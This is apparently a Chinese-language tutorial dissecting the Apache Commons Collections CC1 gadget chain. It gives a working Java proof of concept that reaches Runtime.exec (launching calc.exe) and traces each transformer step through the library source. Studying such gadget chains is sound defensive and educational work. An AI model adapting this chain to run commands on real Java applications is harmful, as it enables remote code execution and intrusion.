CommonCollections1链
CommonCollections1
poc展示
这是一段POC,运行后会弹出一个计算器。
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {Class.forName("java.lang.Runtime"), new Object[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
//触发漏洞
onlyElement.setValue("foobar");
}
}
调用链分析
先debug一下看看调用链,整个过程从onlyElement.setValue("foobar")
开始,每段代码只取相关的片段。
源码的注释需要下载CommonsCollections源码查看,debug时是没有的。
AbstractInputCheckedMapDecorator
// org. apache. commons. collections. map. AbstractInputCheckedMapDecorator
protected abstract Object checkSetValue(Object var1);//3
/**
* Implementation of a map entry that checks additions via setValue.
*/
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
/** The parent map */
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {//1
value = this.parent.checkSetValue(value);//2
return this.entry.setValue(value);
}
}
如代码注释里的顺序所示,程序先到AbstractInputCheckedMapDecorator的子类MapEntry,在2处调用3处的checkSetValue,但是这里的checkSetValue是抽象函数,程序运行时会根据实例调用对应的实现。
checkSetValue对应的实现有两个如下:
根据poc的代码,这里会执行TransformMap里定义的checkSetValue。
TransformedMap
// org. apache. commons. collections. map. TransformedMap extends AbstractInputCheckedMapDecorator
//
protected final Transformer keyTransformer;
protected final Transformer valueTransformer;
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
* Constrast this with {@link #decorateTransform}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
/**
* Constructor that wraps (not copies).
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {//1
return this.valueTransformer.transform(value);//2
}
该类是对上文AbstractInputCheckedMapDecorator的继承,实现了checkSetValue。
该类还与poc中Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain)
有关。
poc中构造的transformers变量先到transformerChain再到outerMap,outerMap是TransformedMap类型的一个实例。
2处的transform是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中的代码,这里会运行ChainedTransformer类实现的transform。
ChainedTransformer
// org. apache. commons. collections. functors. ChainedTransformer implements Transformer
private final Transformer[] iTransformers;
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {//1
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);//2
}
return object;
}
ChainedTransformer实现了Transformer接口,实现了transform。
2处的transform也是接口Transformer中定义的类,程序运行时会根据实例调用对应的实现。
transform对应的实现有21个如下:
根据poc中transformers变量的定义,该循环会先调用一次ConstantTransformer中实现的transform,再调用三次InvokerTransformer中实现的transform。
ConstantTransformer
// org. apache. commons. collections. functors. ConstantTransformer implements Transformer
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {//1
return this.iConstant;//2
}
根据poc中new ConstantTransformer(Runtime.class)
,2处返回的是java.lang.Runtime
InvokerTransformer
// org. apache. commons. collections. functors. InvokerTransformer
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();//1
Method method = cls.getMethod(iMethodName, iParamTypes);//2
return method.invoke(input, iArgs);//3
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
此处是整个poc的关键,关键代码是1、2、3处,这里和上面的java.lang.Runtime最终构成了Runtime.getRuntime().exec(“calc.exe”)。
下面重点分析此处代码。
poc分析
通过反射实现Runtime.getRuntime().exec(“calc.exe”)
需要了解Java反射以及forName、getMethod、invoke函数。
下面主要看下源码里对这三个函数的注释描述。
forName
/**
* Returns the Class object associated with the class or interface with the given string name.
* @param className the fully qualified name of the desired class.
* @return the Class object for the class with the specified name.
*/
@CallerSensitive
public static Class<?> forName(String className)
throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}
getMethod
/**
* Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object.
* The name parameter is a String specifying the simple name of the desired method.
* The parameterTypes parameter is an array of Class objects that identify the method's formal parameter types, in declared order.
* If parameterTypes is null, it is treated as if it were an empty array.
*
* Static methods declared in superinterfaces of the class or interface
* represented by this Class object are not considered members of
* the class or interface.
*
* @param name the name of the method
* @param parameterTypes the list of parameters
* @return the Method object that matches the specified name and parameterTypes
*/
@CallerSensitive
public Method getMethod(String name, Class<?>... parameterTypes)
throws NoSuchMethodException, SecurityException {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
Method method = getMethod0(name, parameterTypes, true);
if (method == null) {
throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
}
return method;
}
invoke
/**
* Invokes the underlying method represented by this Method
* object, on the specified object with the specified parameters.
*
* If the underlying method is static, then the specified obj argument is ignored. It may be null
*
* @param obj the object the underlying method is invoked from
* @param args the arguments used for the method call
* @return the result of dispatching the method represented by
*/
@CallerSensitive
public Object invoke(Object obj, Object... args)
throws IllegalAccessException, IllegalArgumentException,
InvocationTargetException
{
if (!override) {
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
Class<?> caller = Reflection.getCallerClass();
checkAccess(caller, clazz, obj, modifiers);
}
}
MethodAccessor ma = methodAccessor; // read volatile
if (ma == null) {
ma = acquireMethodAccessor();
}
return ma.invoke(obj, args);
}
因此有
[Runtime类].getMethod([方法exec]).invoke([Runtime对象],[参数calc.exe])
由于Runtime的无参构造函数由private修饰,因为无法用newInstance构造,采用getRuntime方法构造。
因此有反射构造:
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime"))//此处在获取类
,
"calc.exe"
);
invoke源码中对该函数有一段特别重要的注释,单独拿出来说:
If the underlying method is static, then the specified obj argument is ignored. It may be null
因为getMethod是static方法,因此反射构造可以改写为:
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)//此处在获取类
,
"calc.exe"
);
依据反射构造ChainedTransformer
InvokerTransformer里有一段重要代码是构造的关键:
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
改造一下便是:
input.getClass()
.getMethod(iMethodName, iParamTypes)
.invoke(input, iArgs)
根据该结构改造反射构造:
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(null)//此处在获取类
,
"calc.exe"
);
即为了匹配样式,把Class.forName("java.lang.Runtime")
改为Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass()
。
根据ChainedTransformer的源码可知,上一层transform的结果会是这一层transform的参数,因此有:
step1
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
return input.getClass()
.getMethod("exec", String.class)
.invoke(input, "calc.exe")
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
step2
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime")
return input.getClass()
.getMethod("invoke", new Class[] {Object.class, Object[].class})
.invoke(input, new Object[] {null, new Object[0]})
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]})
step3
Object input = Class.forName("java.lang.Runtime")
return input.getClass()
.getMethod("getMethod", new Class[] {String.class, Class[].class})
.invoke(input, new Object[] {"getRuntime", new Class[0]})
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
step4
new ConstantTransformer(Runtime.class)
至此poc中的transformers构造完成